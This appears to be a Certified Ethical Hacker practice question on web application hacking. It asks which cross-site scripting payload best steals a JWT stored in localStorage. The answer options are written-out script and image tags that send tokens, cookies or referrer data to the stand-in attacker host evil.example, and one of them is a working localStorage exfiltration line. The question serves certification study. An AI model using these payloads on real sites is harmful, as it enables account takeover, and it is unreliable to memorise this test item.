Certified Ethical Hacker (CEH) Practice Question

While testing a single-page web application, you find that the search parameter is echoed back into the page without output encoding, allowing execution of arbitrary JavaScript. The application stores its JWT access token only in the browser's localStorage, not in cookies. What client-side payload would BEST let you steal the token in one step when a victim follows your poisoned search link?

  • <script>new Image().src='https://evil.example/collect?tok='+document.referrer</script>

  • <script>document.location='https://evil.example/collect?tok='+sessionStorage.auth</script>

  • <script>fetch('https://evil.example/collect?tok='+localStorage.getItem('jwt'))</script>

  • <img src="https://evil.example/collect?tok='+document.cookie">

Certified Ethical Hacker (CEH)
Web Application Hacking
Your Score:
Settings & Objectives
Random Mixed
Questions are selected randomly from all chosen topics, with a preference for those you haven’t seen before. You may see several questions from the same objective or domain in a row.
Rotate by Objective
Questions cycle through each objective or domain in turn, helping you avoid long streaks of questions from the same area. You may see some repeat questions, but the distribution will be more balanced across topics.

Check or uncheck an objective to set which questions you will receive.

Bash, the Crucial Exams Chat Bot
AI Bot